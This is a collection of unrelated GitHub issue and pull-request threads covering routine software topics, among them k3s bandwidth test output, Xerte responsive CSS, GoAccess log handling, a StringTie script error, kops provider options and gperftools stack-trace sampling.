Expected Value: 1M

Checking version running on node: k3s version v1.24.13+k3s-f575bd1c (f575bd1c)
go version go1.19.8 on ip: <IP_ADDRESS>

Command: /var/lib/rancher/k3s/data/current/bin/cni
Expected Value: CNI plugins plugin v1.2.0-k3s1

CMD: kubectl get pod test-pod -o yaml --kubeconfig= --kubeconfig=/tmp/franlocalk3s_kubeconfig  | grep -A2 annotations
RESULT:
annotations:
kubectl.kubernetes.io/last-applied-configuration: |
{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubernetes.io/egress-bandwidth":"1M","kubernetes.io/ingress-bandwidth":"1M"},"name":"test-pod","namespace":"default"},"spec":{"containers":[{"command":["sh","-c","echo The app is running! \u0026\u0026 sleep 3600"],"image":"busybox","name":"test-container"}]}}
kubernetes.io/egress-bandwidth: 1M
kubernetes.io/ingress-bandwidth: 1M

Assertion: 1M

Matched with:

annotations:
kubectl.kubernetes.io/last-applied-configuration: |
{"apiVersion":"v1","kind":"Pod","metadata":{"annotations":{"kubernetes.io/egress-bandwidth":"1M","kubernetes.io/ingress-bandwidth":"1M"},"name":"test-pod","namespace":"default"},"spec":{"containers":[{"command":["sh","-c","echo The app is running! \u0026\u0026 sleep 3600"],"image":"busybox","name":"test-container"}]}}
kubernetes.io/egress-bandwidth: 1M
kubernetes.io/ingress-bandwidth: 1M

CMD: /var/lib/rancher/k3s/data/current/bin/cni
RESULT: CNI plugins plugin v1.2.0-k3s1
CNI protocol versions supported: 0.1.0, 0.2.0, 0.3.0, 0.3.1, 0.4.0, 1.0.0

Assertion: CNI plugins plugin v1.2.0-k3s1

Matched with:
CNI plugins plugin v1.2.0-k3s1
CNI protocol versions supported: 0.1.0, 0.2.0, 0.3.0, 0.3.1, 0.4.0, 1.0.0


Update email language for payment failure

Coverage increased (+0.02%) to 74.845% when pulling 511415c894bb84f43a4681c659b5a3d1d20bfc71 on subscription-email-udpate into 425a99425b12e70478271ba00d8d6b89c7299c28 on master.


Responsive text size - work in progress...

This is less a bug and more of a question about enhancement but adding it here for our discussion tomorrow. It's always bugged me since we've moved to HTML5 rather than Flash that the poor maligned Flash Player did a great job of resizing the stage and text content according to browser window size when set to full screen or fill window. Obviously we have the full screen and fill window options with the HTML 5 engine too but I've noticed that most users stick with the default and I think this is because of how poor the text can look when viewed at larger window sizes. Making the default text size larger is only really a compromise especially as making it large enough for a high res desktop is then way too large for smartphones etc. I've been working through most of the page types and checking where there are unique font size styles that need to be included in a more responsive stylesheet which has taken quite a while and I may have missed some but here's a comparison for discussion tomorrow.
View the Nottingham page types example http://www.nottingham.ac.uk/toolkits/play_8203 and compare each page with this example http://training.mitchellmedia.co.uk/xot/play.php?template_id=121 on various window sizes and devices. At the moment I've only set the styles to kick in at 768 width and above so lower width than that defaults to the existing styles especially on phones etc. But for me this seems to look and work much better on iPad and desktops when the LO is set to fill window. So far it's just the text that is changed not any of the current image sizes etc. I'll paste a couple of screenshots from my wide screen laptop...

BTW - wish we could copy and paste images into the Xerte editor like we can here on github!

I think this is a definite improvement, I think that was the consensus when we spoke on Friday as well. Perhaps we need a 'responsive' branch for this piece of work?

This looks good! What is the status on this? I have a question from someone about the text size in the modal window. Do you have a quickfix for this? Or a stylesheet I can use for now?

I've been working a bit more on improving this as part of a project I'm supporting. The responsive text part of this is working well now and I've been working with a derivative of the Flat White (no borders) theme so I think the first step might be to add that to the themes and get you to test it on your own projects. I've been using a snippet of css within different pages to make the images on a given page responsive too. This also seems to work well but longer term we need a better way to make that FWS. I'll tweak this example and commit a derivative theme as soon as I can but will probably be the end of the week.
@ingedonke can you explain more perhaps with a screenshot what modal window and text size you mean?

Hi again
quick update. I've added the css changes I've made so far to the end of the Flat White theme and here's a link to an example with that applied http://training.mitchellmedia.co.uk/xot/play.php?template_id=127 shall I commit that change to the flat white theme to develop?

Hi all
as discussed briefly with Julian and Fay just before the Apereo webinar on Wednesday I've been quite happy with the way the responsive text additions to the themes has been working apart from the issue when the LO first loads that the page contents displays too high and overlaps the title until moving to the next page or resizing the window slightly. Fay suggested this might be to do with an icon in the header but I've tested and this happens regardless of whether an icon is added and also regardless of what the page title text size is. I've looked through the css and can't find anything likely to be causing this directly but might be missing something? I wondered if there is anything that loads/triggers when the default theme is used compared with the other themes or directly added css? Can someone else have a look as I might not be seeing the wood for the trees now! :-(
I've attached a css file saved as txt because github doesn't allow css attachments. If you rename this and add it to an LO with the default theme as an optional property and then view the LO the same thing happens but I'm not sure if that because of a style or just because of the order of loading etc.
set_font_sizes_to_vmin.txt

Just to make it clear here's a screenshot of the problem with the first page of the LO being a tabbed navigator

Hi Ron, I'm looking into this now. There seem to be a couple of related issues here - the icon does cause similar problems in even the default theme if it's taller than the header bar would be without it but other themes have the problem regardless of whether they contain the icon.
This is unrelated to this bug but a question about the responsiveness code. Do you think it should only affect projects that are set to fill the screen? I don't think it works as well for projects displaying as the default 800 x 600 size as if you're on a large screen the text appears much too big:

Hi Fay
thanks for looking at this - have you found a solution?
Regarding the question about the default screen size setting resulting in the text sizes being too big yes I wasn't sure how to deal with that. If a project is set to full screen (or fill window) and then the browser window resized down to 800 x 600 the text size is responsive and not too big but when set to default and viewed in a much larger window the css obviously picks up the window width rather than the Xerte div width. Is there a way to deal with that whilst still keeping the css in individual themes?

Hmm, I can't think of a way around that. Ideally we'd have a separate responsive css file with the other main css files (mainStyles.css, desktopStyles.css etc.) and then we could add or remove the link to responsive.css depending on whether we wanted the project to be responsive (perhaps controlled by a checkbox in editor, whether project is currently default or fill screen view, or even a flag in the theme.info files).
I can't think of a way to have it within a theme and have that kind of control over it.

Hi Fay
it would be easy to separate out the responsive text css from each of the themes because at the moment it's simply added at the end of the original styles. So how about this...

We add responsivetext.css to each of the themes (including the default theme) and remove those styles from the end of the theme css e.g flatblue.css

Add learning object property to disable or re-enable the responsive css.

Add the code to detect the chosen setting but override if the project display size is set to default. Also re-enable if the user selects the maximise button if possible?

I think with 2. the responsive text css should be enabled by default and the tick box should be set and displayed rather than hidden away in optional properties?
I did wonder about having a single responsivetext.css somewhere rather than one in each theme but ultimately I think they may need to vary a bit and be controllable by theme. However would be good to crack the issue with overlapping the page titles first if that's a css rather than js issue?

It was a js problem & I've committed a fix for it. The height of the central section where the pages load has its height & margins set in js as it wasn't possible to get the layout we needed just with css. It looks at the height of the header & footer bars to do this but the extra css (and icons) that could change these heights weren't always loaded when it was calculating. It now waits for all this to load first. I've tested it in FF, Chrome, IE11, iPad Safari and it seems ok now (for full screen anyway).
Your 3 steps make sense. Ideally it would be best to have one central file but I understand why you say it might not work. is it over complicating things to have one responsivetext.css file and then only have a responsivetext.css file in a theme if it does need to be different in someway? I take it that the responsive code in each theme is the same at the moment?

Hi Fay
that's great that you've found the issue and fixed it. I'll download and test later.
Yes you're right it would be better to include just one responsivetext.css unless a theme needs changes but I guess we need to be careful what order that is loaded. e.g. if the 'master' responsivetext.css was in the default theme it would still need to be loaded after for instance flatblue.css otherwise the sizes could be overridden? Also are there implications for import?
At the moment I think all the themes have the same added css but I seem to recall there was one that was different which might have been the sketch theme but I'll go through and check.
Might just be easier to include in each theme? I'm happy to go through and strip out the css into separate responsivetext.css files in each theme but I guess we need to coordinate doing the separate bits around the same time?

Fair enough, you're probably right that it would get too complicated to manage what should when. I'll change the xenith code today to also load responsivetext.css files from themes as there's no real harm in doing this in develop before those css files exist. I'll leave adding a property in the xwd until you've created the css files though (or you can do this when you're ready).
The thing to think about then is how to handle existing projects. We can force the responsive check box into the editor by making it mandatory but if you want it checked by default then it won't actually work for existing projects unless it's unchecked and then checked again (it's only at this point that it would be inserted into xml). I don't suppose we would want to force all old projects to be responsive without having it in the xml though. Anyway - you can think about how to handle this later!

Hi Fay I've just committed the separated responsivetext.css files.
Yes agreed we probably don't want to force the responsive text for existing projects but it would be good to have it the default for new projects. I guess anyone who has downloaded and installed develop since the responsive styles were in place won't have too many projects that would need updating by selecting the checkbox.
So would this work e.g. unchecked for existing projects but checked for new projects?

Ignore me - I was thinking it would have to be checked for both which would be confusing as it wouldn't work for existing unless you unchecked and checked again. But I think I was wrong actually and we can have checked for new and unchecked for existing. I'll let you know when I've made the changes to it all and you can test it.

I've just committed the changes that make this work. I've tested in a few browsers and with all your themes and the only problem is with the Black & white theme but this is because there's still some responsive code in the main css file.
Let me know if you find any problems with it when you test it. It looks at a responsive property in xwd and whether display mode is default or fill/full.

Also, I haven't added anything in yet that will deal with responsiveness in the default template as I don't think a responsivetext.css file exists for this yet. So if you leave it on defaut theme & tick responsive it won't do anything. i can add this when the css file is ready.

Hi Fay just tested and works great!
I removed the left over css from the blackround.css and added a copy of responsivetext.css to \modules\xerte\parent_templates\Nottingham\common_html5\css
Great that this can be a simple on/off option for all those existing projects using the default theme and that it kicks in if set to responsive when a user maximises the display even if set to default by the author.

I haven't looked into this but if you insert a plain text page and preview without changing anything in the editor then the main text doesn't become responsive. Is this because the css look for p tags? If it does then it might not work particularly well in old projects made in the old editor where p tags won't automatically be present. You might want to test this a bit to see if this is a problem.
Glad it works for you! I'll add it to the default theme too but probably tomorrow now

Fay - whilst we're working on this a few related items...

Should we add an empty themename.js file to each theme perhaps containing a comment //add custom js/jquery here? I know it's a minor thing but it currently throws a 404 in console etc and I guess in server logs too. I think this is because the code isn't checking if  the js file exists before loading it?
I think we've discussed somewhere before but can't find it the idea of adding a css/script option to the Nottingham template like we have in the bootstrap template e.g. an optional textarea where custom css can be added directly which applies across the whole project rather than just the page to which it is added.
Related to 2. in a way is that if styles or code is added to the learning object title field this shows as code in the title of the LO in the browser and when saving as a favourite etc. Should we add something to xenith.js to extract just the title and ignore any code?

Hi Fay yes it does only work where there are tags and does mean that there can be a mix of sizes in existing projects/pages that haven't been edited. Not sure there's a way around that without unpredictable results? However I did test with a plain text page and pasted some text and that worked because it automatically added  tags. How did you add a new plain text page and added text without getting  tags?

No sorry, I noticed it because I hadn't changed the text - it still has default 'Enter text...'. It just made me think that it might not work that well in old projects after all.

In answer to your other points:
1 & 2. Yes - I'll do these
3. Do you mean when that text appear in the html title tag? I'll have a look at it

Ron - quick question. Do you want the common_html responsivetext.css file to load even when the default theme isn't being used? If only when default theme is selected then what if the theme doesn't contain a responsivetext.css file?

Hi Fay If I understand your question correctly I think the one in common_html should only be used if that theme is used. Any themes we release should have responsivetext.css even if different or commented out. Any themes others develop and add to their own installs will be up to them?

Yes that's what I was asking. I just wanted to check as common_html5/css/themeStyles.css is always used even if a different theme is selected too. I'll add this code now

I've made all the changes now @ronm123 including the 3 extra bits you asked for above. Let me know if you have any problems with any of it.

Thanks Fay will have a look and respond accordingly...

Hi Fay
the new styles panel works great. At some stage we should probably change the bootstrap styles panel to that format because at the moment it shows the normal text area which means having to switch to source view.
The stripping of code from the LO title works but only if there is code in the title. If there isn't it seems to flash up and then disappear? e.g. with a new lo and default title it flashes up Learning Object Title then reverts to the url.

I've fixed that now

Hi Fay/Tom
I'm not sure if this is due to the code Fay added to strip code from the LO title or whether it's due to the change of the trim function, or it may be neither, but I just noticed that if there is a forward slash in the LOT title (e.g. my test/demo) it stops the LO from displaying with the following errors:
Line: 4
Error: Syntax error, unrecognized expression: my test/demo
SCRIPT5022: Syntax error, unrecognized expression:  my test/demo
jquery-1.9.1.min.js, line 4 character 10920
{throw Error("Syntax error, unrecognized expression: "+e)}
I've tested the same in an earlier version 3 install and no such problem.
Can you replicate this in develop?
If this is due to the change to remove code from the lo title is there a solution that retains that functionality? Probably better to not strip the code if it risks breaking LO's with forward slash in the title etc? Not sure if any other chars cause a similar problem but tested backslash and that doesn't cause a problem.

Fixed this. This could potentially be a problem in toolbox.js as well.Somehow it works there because of the  tag that the editor puts around the text

Have just tested Tom and can confirm that the forward slash in an LO title doesn't break playback any longer.

I think this is all in place now so closing the issue.


Modularize Terraform code for better reuse and maintainability

We need to modularize the existing Terraform code to improve reusability, maintainability, and organization. By splitting the code into modules, we can reduce duplication, simplify management, and make it easier to scale and collaborate across projects. This approach will also help abstract complex configurations into simpler, reusable components.
TO BE structure:
terraform-harvester-equinix/
├── modules/
├── examples/

I've already done something similar here.
After that, nothing prevents us from publishing in the official Terraform Registry.

Hey @dnoland1, what do you think?

Another example here.


inlineQuery not working at all

Am I not using inlineQuery properly? This doesn't work at all (example from docs):
import { Bot, InlineQueryResult, InputMessageContent } from "gramio";
import { env } from "./env";

const bot = new Bot(env.BOT_TOKEN);

bot.inlineQuery(/find (.*)/i, async (context) => {
	if (context.args) {
		await context.answer([
			InlineQueryResult.article(
				"id-1",
				`Result for ${context.args.at(1)}`,
				InputMessageContent.text(`This is a message result for ${context.args.at(1)} query`)
			),
		]);
	}
});

bot.start();

edit: nevermind, you have to enable it, see these docs https://grammy.dev/plugins/inline-query

Oh i should add warning about it to the documentation as in choseninlineresult
Thanks!


cognito republish

Issue #, if available:
Description of changes:
Publish new version of Cognito to include the es folder
By submitting this pull request, I confirm that my contribution is made under the terms of the Apache 2.0 license.

Codecov Report

Merging #564 into master will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##           master     #564   +/-   ##
=======================================
  Coverage   88.54%   88.54%
=======================================
  Files          62       62
  Lines        3072     3072
  Branches      593      593
=======================================
  Hits         2720     2720
  Misses        337      337
  Partials       15       15

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 0124c02...495e89b. Read the comment docs.


Cu 86bx53yj6 weekend meeting ilona

Created file "views" with PDF-files.
Created WeekendMeeting-PDF file.
You can view this component at "http://localhost:4050/#pdf-document"

Task linked: CU-86bx53yj6 Weekend Meeting


⚠ Bofrost.de has degraded performance

In 2a9f2a1, Bofrost.de (https://www.bofrost.de) experienced degraded performance:

HTTP code: 200
Response time: 974 ms

Resolved: Bofrost.de performance has improved in 19867ad.


Update sql-machine-learning-services-windows-install-sql-2022.md

Fixing windows setup instructions to add dependency install

@arunguru-msft : Thanks for your contribution! The author(s) have been notified to review your proposed change.

#sign-off

@jborsecnik : Thanks for your contribution! The author(s) have been notified to review your proposed change.


Running multiple times aggregation queries on the main branch eventually generate memory limit errors

On the github archive dataset, if I run several aggregations, the first runs will succeed but after several attempts, it generates the following errors:
Exception: ('Error while querying', '{\n  "message": "Internal error: `(Internal error: `Aborting aggregation because memory limit was exceeded. Limit: 1.00 GB, Current: 1.00 GB`., split_id: 01H26SCHJ2AR36YAXATXMSW4FW), (Internal error: `Aborting aggregation because memory limit was exceeded. Limit: 1.00 GB, Current: 1.00 GB`., split_id: 01H26SKYQVE5SQV08XSVDCK3XY), (Internal error: `Aborting aggregation because memory limit was exceeded. Limit: 1.00 GB, Current: 1.00 GB`., split_id: 01H26SV71BZGPT45364VPYEPY8), (Internal error: `Aborting aggregation because memory limit was exceeded. Limit: 1.00 GB, Current: 1.00 GB`., split_id: 01H26T2GZT54S7H4Q05XHM0NPN), (Internal error: `Aborting aggregation because memory limit was exceeded. Limit: 1.00 GB, Current: 1.00 GB`., split_id: 01H26T9Z9QNSQBQVNB066ZBT7Q), (Internal error: `Aborting aggregation because memory limit was exceeded. Limit: 1.00 GB, Current: 1.00 GB`., split_id: 01H26THAEMY8JS08A6ZNDZSJDG)`."\n}')

If I restart, the requests first succeed and then fail again.


Huge Spike in unkown user agents

For a couple of days, I can see a huge spike in unknown user agents.
I have done some tests and android and windows devices seem still to be logged correctly.
I can't verify apple devices but I assume they aren't logged correctly anymore. Idk how I reached a spike of 17% of Unknown user agents.

I found the bad apple I think.
[IP] - - [31/Jul/2021:22:24:14 +0200] "-" 408 319 "-" "-"
[IP] - - [31/Jul/2021:22:24:10 +0200] "-" 408 319 "-" "-"

I have identified the issue.
Goaccess logs 408s as Unknown users.
Would be nice if that could be avoided.

Are you looking to ignore completely 408s? It shouldn't be counting those as unique visitors unless you are using --4xx-to-unique-count. Also, you can get a better sense of unknown agents using --unknowns-log=<filename>.

That would be nice bec until now I was constantly waiting for one to pop up and then grabbed the apache log.
It appears that it is counting them towards visitors but I will add the 2nd part u provided and check what it is returning.
Also let me quickly check my config file to make sure I don't have that option enabled by accident.

LOG of unknowns:
[OS]   - [BR]   - [OS]   - [BR]   - [OS]   - [BR]   - [OS]   - [BR]   - [OS]   Mozilla/5.0 (compatible; UptimeRobot/2.0; http://www.uptimerobot.com/) [OS]   - [BR]   - [OS]   Mozilla/5.0 (compatible; UptimeRobot/2.0; http://www.uptimerobot.com/) [OS]   - [BR]   - [OS]   - [BR]   - [OS]   - [BR]   - [OS]   - [BR]   - [OS]   Mozilla/5.0 (compatible; UptimeRobot/2.0; http://www.uptimerobot.com/) [OS]   Mozilla/5.0 (compatible; UptimeRobot/2.0; http://www.uptimerobot.com/) [OS]   - [BR]   -
Uptime robot is a site health monitor I currently use. SO nothing surprising here.
I have checked the config and I can confirm --4xx-to-unique-count is disabled

A workaround would be to apply a filter prior to parsing the data. e.g.,
awk '$9!~/408/' access.log | goaccess -

#117 will address this in a much nicer way, I'm working on this as we speak.
If --4xx-to-unique-count is not enabled, then it shouldn't be counting them as unique.

Nice
What kinda bothered me was the fact that they show up in the statistics with a user count.
But as long as they aren't counted to the total that shouldn't be to big of an issue.

Yep, it shouldn't, however please note that it will count the hits/requests, just not the visitors.
Closing this as I expect #117 will help with this in more detail. Feel free to reopen it if needed.


Key error when adding genes to geneDict in prepDE.py

When I run python prepDE.py -i gtflist.txt using my gtf files that I've generated I get the following :
$ python /opt/stringtie/2.0/prepDE.py -i gtflist.txt
0 BMDM_Pde3A_KO_CGS_M6_S11_L001_R1_001_trimmed
1 BMDM_Pde3A_KO_CGS_M6_S11_L002_R1_001_trimmed
Traceback (most recent call last):
  File "/opt/stringtie/2.0/prepDE.py", line 255, in <module>
    geneDict.setdefault(geneIDs[i],{}) #gene_id
KeyError: 'ENSMUST00000155445'

This looks to be identical to the issue identified Issue #229 .
My gtflist.txt looks like :
$ head -n 3 gtflist.txt
BMDM_Pde3A_WT__CGS_M2_S3_L001_R1_001_trimmed     output_ensembl/stringtie-est/star/fr-unstranded/BMDM_Pde3A_WT__CGS_M2_S3_L001_R1_001_trimmed/est.gtf
BMDM_Pde3B_KO_DMSO_M13_S10_L001_R1_001_trimmed   output_ensembl/stringtie-est/star/fr-unstranded/BMDM_Pde3B_KO_DMSO_M13_S10_L001_R1_001_trimmed/est.gtf
BMDM_Pde3A_WT_DMSO_M3_S5_L002_R1_001_trimmed     output_ensembl/stringtie-est/star/fr-unstranded/BMDM_Pde3A_WT_DMSO_M3_S5_L002_R1_001_trimmed/est.gtf

I believe the issue comes about when getting bad genes (lines 120-158 in prepDE.py).  When looping through samples, the break statement in the try except else section short-circuits the for loop  after reading in only 1 file.  So if there is a gene not annotated in the first gtf file (see samples on line 119), then on line 255 you get the above error because you never added any of the transcripts from the other gtf files.
Question
Is this analysis correct, or am I running this code incorrectly.  If it is correct, is the break statement on line 158 a bug?

Didi you find a solution to this ?

Hi, I am having the same problem. Do you have a solution to this? May I know how did you solve it, please?

I haven't had time to figure out / debug this issue.

This seems to be the same issue with #234 and #232, so it should be fixed in v2.0.4 release.


Fix a typo in nn-shobjidl_core-ifileisinuse.md

@ForNeVeR : Thanks for your contribution! The author(s) have been notified to review your proposed change.


Bug: New mainnet account shows testnet label

Hi
Made a fresh mainnet account, it showed testnet on wallet balances page.
Attaching a video to showcase. https://github.com/verida/verida-js/assets/15976005/82ae4882-1a7c-427d-882c-9ce988b6f767
Thanks!
Pranav

Thanks for the feedback @pranavburnwal.
When we enabled the Verida Mainnet, the crypto wallet feature was still using the Testnet blockchains only.
We enabled the blockchain mainnets a few weeks later with the version 1.1.0 of the Verida Wallet.


Autocompletion selection - space or dot

Is there any way to add option to choose auto-completion item by other keys such as space or "."
Currently only option to select item from list is to use ENTER key.
Im still doing mistakes by pressing space or dot and loosing auto completion prompt
Example:
Imagine you need to write query:
Select * from example_schema.complex_table_name
Im typing examp <pressing_dot> and expecting to see all tables names in schema

Any option to add that feature ?
My heart is bleeding :(

bump ...

In simple cases DBeaver shows content assistant by itself, there is no need to press any special button. But this feature must be enabled in prefs:

Also you can redefine keyboard shortcut ctrl+space by default() for Content Assista in preferences:

Thanks for your reply but I do not have issue with showing autocompletion.
My issue is only selection from dropdown
EW lets say I have field called 'name' in table called 'table_1'
im starting typing:
tabl
Then I can see 'table_1' as 1st position on dropdown list.
To select it I have to press enter., while Id like to press '.' - then it should complete table_1 and show then 'name' as 1st option on dropdown then when I press space it should complete 'name' word
Thanks to that I dont need to press ENTER twice
In this way work many of popular IDEs (eg Visual Studio)

Any chance to have this implemented ?

This behavior is hardcoded in Eclipse editor framework.  Unfortunately it is quite hard to fix this.
However there is a bug in Eclipse bugracker about this (https://bugs.eclipse.org/bugs/show_bug.cgi?id=367009).
I hope that in one of next version they will make this shortcut configurable.

Too pity
But I understand difficulties


Add support for more aws configuration options other than profile, assume_role and region.

I am using a S3 compatible bucket that requires some serious additional configuration options to be configured to allow it to work:
provider "kops" {
  state_store = "s3://${data.pass_password.kops_s3_bucket.password}"

  aws {
    secret_key = data.pass_password.kops_s3_secret_access_key.password
    access_key = data.pass_password.kops_s3_access_key_id.password
    region = data.pass_password.kops_s3_region.password

    endpoints {
      s3 = data.pass_password.kops_s3_endpoint.password
    }

    skip_requesting_account_id = true
    skip_credentials_validation = true
  }
}

Without these additional configuration options I am unable to provide kOps access to the S3 state store.

Sure, I’ll add those shortly, thanks for asking.

I am using the 1.20-alpha btw, not sure if that makes a difference.

I do need other openstack options though, I have no use for swift but anything openstack related I definitely need!

Let me know what is missing and I’ll add it.
It should not be long to add.

I am not sure if the openstack credentials are picked up from the env by kOps with this provider? Or should they be passed in as with AWS? I am running into some errors which could be because it's unable to auth to openstack. If they're being picked up just like the openstack provider, then I might not need anything else. Still investigating where this new error is coming from..

I guess I should add support for the variables here https://github.com/kubernetes/kops/blob/97869057129b30ea284c3ed1bdf1db36e752701d/util/pkg/env/standard.go#L50
I’ll do that tomorrow.

For sure the env variables won’t be picked up automatically.
The provider is running in its own process and I don’t think it will inherit the env vars at all.

@wesselvdv I added openstack options here https://github.com/eddycharly/terraform-provider-kops/commit/cf13c768b8e93e74c06e1743f56a69e376afc86e
v1.20.0-alpha.3 is being built.

Awesome! I've tried it, and it seems to be working. I am running into other issues, that I am investigating now. Will come back here if I am missing a variable.

Is there a way to pass in the debug env variables to kops? I am getting an error on allocating a floating ip that's failing due to the resource missing, but I can't really debug it without more information. It might be because we're using a self signed certificate on the openstack side that i've previously passed in using the env variable OS_CACERT, but that's hard to discern if I can't increase the amount of debugging.

I think it’s not possible as is but I’ll look into it. Shouldn’t be difficult at all.
Did you try to increase the terraform log level ?
kOps code should log errors if any.

Hmmm, that's not so easy, there is no kOps env variable, it's klog doing some trickery with the command line directly.
I need to find a way to set klog log level programatically.

I'll close this issue as this has been resolved, and I'll open a new one to investigate how to support the cli equivalent of -v <debuglevel>.


UnsupportedOperationException in EqualOp of incompatible union types

shared void run() {
    String|Destroyable a = nothing;
    Obtainable b = nothing;
    print(a == b);
}

source/tmp/run.ceylon:4: error: the 'ExpressionVisitor' caused an exception visiting a 'EqualOp' node: '"java.lang.UnsupportedOperationException: union types don't have well-defined equality"' at 'com.redhat.ceylon.model.typechecker.model.UnionType.equals(UnionType.java:176)'

    print(a == b);
          ^

I assume this happens here, when the typechecker wants to suppress the “tests equality for operands with disjoint types” warning for the Integer and  Float types.

@lucaswerkmeister thanks, should be fixed.

Cool, thanks!

(But did you intend to do this on the #4127 topic branch?)


Frame-pointer based stacktrace produce inaccurate result when sampling at the function prologue and epilogue

How to reproduce
test.cc:
__attribute__((noinline)) void Bar() {
  int x = 0;
  while (x < 10) x++;
}
__attribute__((noinline)) void Foo() {
  Bar();
  asm("nop"::);
}
int main() {
  for (int i = 0 ; i <<PHONE_NUMBER> ; i ++) Foo();
  return 0;
}

Compiled with clang++ -O0 -g test.cc in x86-64.
Run the profiler with env TCMALLOC_STACKTRACE_METHOD=generic_fp LD_PRELOAD=$PWD/libprofiler.so CPUPROFILE=out.prof CPUPROFILE_FREQUENCY=1000 ./a.out
Actual result

Expected result
main does not call Bar, so the profiling result should not contain that line.
Cause analysis
Result of pprof --disasm=Bar a.out out.prof:
-------------------- /home/yikai/Code/gperftools/build/test.cc
    50     50     2: __attribute__((noinline)) void Bar() {
    48     48      401110: push   %rbp
     2      2      401111: mov    %rsp,%rbp
     .      .     3: int x = 0;
     .      .      401114: movl   $0x0,-0x4(%rbp)
   593    593     4: while (x < 10) x++;
     7      7      40111b: cmpl   $0xa,-0x4(%rbp)
   116    116      40111f: jge    401133 <Bar+0x23>
    94     94      401125: mov    -0x4(%rbp),%eax
    56     56      401128: add    $0x1,%eax
    13     13      40112b: mov    %eax,-0x4(%rbp)
   307    307      40112e: jmp    40111b <Bar+0xb>
    18     18     5: }
    17     17      401133: pop    %rbp
     1      1      401134: ret
     .      .      401135: cs nopw 0x0(%rax,%rax,1)
     .      .      40113f:    nop

When the sampling is taken at the prologue and epilogue of Bar function (at push   %rbp, mov    %rsp,%rbp, or ret), the frame pointer is not set yet or already unset, so the return address based on the frame pointer would be incorrectly main instead of Foo. In the above example, that's a total of 48+2+1 samples.

This is a known downside of the method. It is documented as well. https://github.com/gperftools/gperftools/wiki/gperftools'-stacktrace-capturing-methods-and-their-issues#frame-pointers
Some heuristics might be possible. Old x86 (i.e. legacy 32 bit) frame-pointers method had one. But it made sense in gcc 3.x era when gcc was much less eager to schedule instructions around prologue.
Closing as "wont fix". But feel free to dig around and propose alternatives.


Remove keycloak metrics protocol

@david-martin Would you mind taking a look? Related to this line in your PR https://github.com/feedhenry/keycloak-apb/pull/23/files#diff-f6f4a5c554add33c75151ab6f477659cR12 .
The host is currently http://http://example-keycloak.com

@aidenkeating Great spot!
Looks like its already here in a UI related PR https://github.com/feedhenry/mcp-standalone/pull/171/files#diff-ff15c9e158782cb224ec9bdf5e4ed732L61 though, so I'll close this as that PR is (almost) ready to merge.
OK with you?

Super!


Use arrow-down in accordion

Issues
The arrow icon was being used instead of the arrow-down icon.  This PR replaces the arrow with the correct one and adjusts the styling accordingly.
Todos
None.
Impacted Areas
The accordion module in nightshade and in the Casper Rails repo.
Steps to Reproduce
None.

DTM.


CO2 measuring units - µg/m^3 vs ppm

Receiving following when spinning up docker container:
2023-10-21 13:51:58.345 WARNING (MainThread) [homeassistant.components.sensor] Entity sensor.ambientweather2mqtt_co2_in_aqin (<class 'homeassistant.components.mqtt.sensor.MqttSensor'>) is using native unit of measurement 'µg/m^3' which is not a valid unit for the device class ('carbon_dioxide') it is using; expected one of ['ppm']; Please update your configuration if your entity is manually configured, otherwise create a bug report at https://github.com/home-assistant/core/issues?q=is%3Aopen+is%3Aissue+label%3A"integration%3A+mqtt"
2023-10-21 13:51:58.349 WARNING (MainThread) [homeassistant.components.sensor] Entity sensor.ambientweather2mqtt_co2_in_24h_aqin (<class 'homeassistant.components.mqtt.sensor.MqttSensor'>) is using native unit of measurement 'µg/m^3' which is not a valid unit for the device class ('carbon_dioxide') it is using; expected one of ['ppm']; Please update your configuration if your entity is manually configured, otherwise create a bug report at https://github.com/home-assistant/core/issues?q=is%3Aopen+is%3Aissue+label%3A"integration%3A+mqtt"

Thanks for reporting this! Version 4.3.2 is out and should fix it.

Awesome! Looks like it is working correctly now! THANK YOU!


Adds the interactive land cover map explorer

I couldn't get it to fit nicely within the docs theme, so I added it as a separate page that is linked to from the docs.
A couple of the images aren't on S3 yet (still processing), but that won't require changes to the code.
I have only tested it locally (not sure how to test the deployment from another branch), but we'll see how it goes!

Great work


Cannot make Rotary Hearth Furnace and Bulk Blast Chiller in UHV

GregTech CEu Version
v2.4.0
Gregicality Multiblocks Version
v1.1.4
Gregicality Science Version
v0.0.1
Modpack Used
GregTech Expert 2
Addons Installed
No response
Environment
SP
New Worlds
Yes
Cross-Mod Interaction
Yes
Expected Behavior
Rotary Hearth Furnace and Bulk Blast Chiller does not require neutronium to make
Actual Behavior
they do
Steps to Reproduce
this is a recipe bug
Additional Information
No response

Fixed in 0ec4f3a.


Space or Spaces as delimiter

Hey! I tried this out and it works, so super nice... thanks!
For me to get it to work in lots of cases though, I find I have to do the following:

Convert a single space or multiple spaces to a tab or comma (if multiple spaces is the delimiter)

I also found that I had to skip lines at the start of my input, so I just did tail -n +2, but maybe that's something to consider as an option too...
I have a script that I use to convert multiple spaces to a single delimiter, but thought it might be good to support this as an option right in this tool. Here's what I use, for what it's worth
compress_spaces.sh
function show_help()
{
  IT=$(CAT <<EOF

  usage: {REPLACE_WITH}

  NOTE: If you pass in TAB, then multiple spaces are replaced with a TAB character

  no args -> multiple spaces replaced with a single space
  TAB     -> multiple spaces replaced with a single tab character
  TEST    -> multiple spaces replaced with the phrase "TEST"

  )
  echo "$IT"
  exit
}

if [ "$1" == "help" ]
then
  show_help
fi

# Show help if we're not getting data from stdin
if [ -t 0 ]; then
  show_help
fi

REPLACE_WITH=${1:-' '}

if [ "$REPLACE_WITH" == "tab" ]
then
  REPLACE_WITH=$'\t'
fi
if [ "$REPLACE_WITH" == "TAB" ]
then
  REPLACE_WITH=$'\t'
fi

sed "s/ \{1,\}/$REPLACE_WITH/gp"

First of all, thanks for the feedback :)
I have added support for multiple delimiters and delimiters repeat count, now it is much smarter than before (see the new readme).


:bug: Fix Function not defined errors thrown by compiler

Substituting TORCH_CHECK_LE -> TORCH_CHECK & TORCH_CHECK_EQ -> TORCH_CHECK_MSG successfully compiles torchvision from source. The mappings were suggested by compiler.

I saw this https://github.com/pytorch/vision/issues/6430. Closing this PR.


Code Review for Project Awesome Books with Navigation

Dear Code Reviewers' Team 👨💻,
I would like to ask for your kindly help to do the CR for my Awesome Books' project.
The following requirements were fulfilled:

Modify the Awesome books application to have:

A Navigation bar.

Three content sections:

Books list.
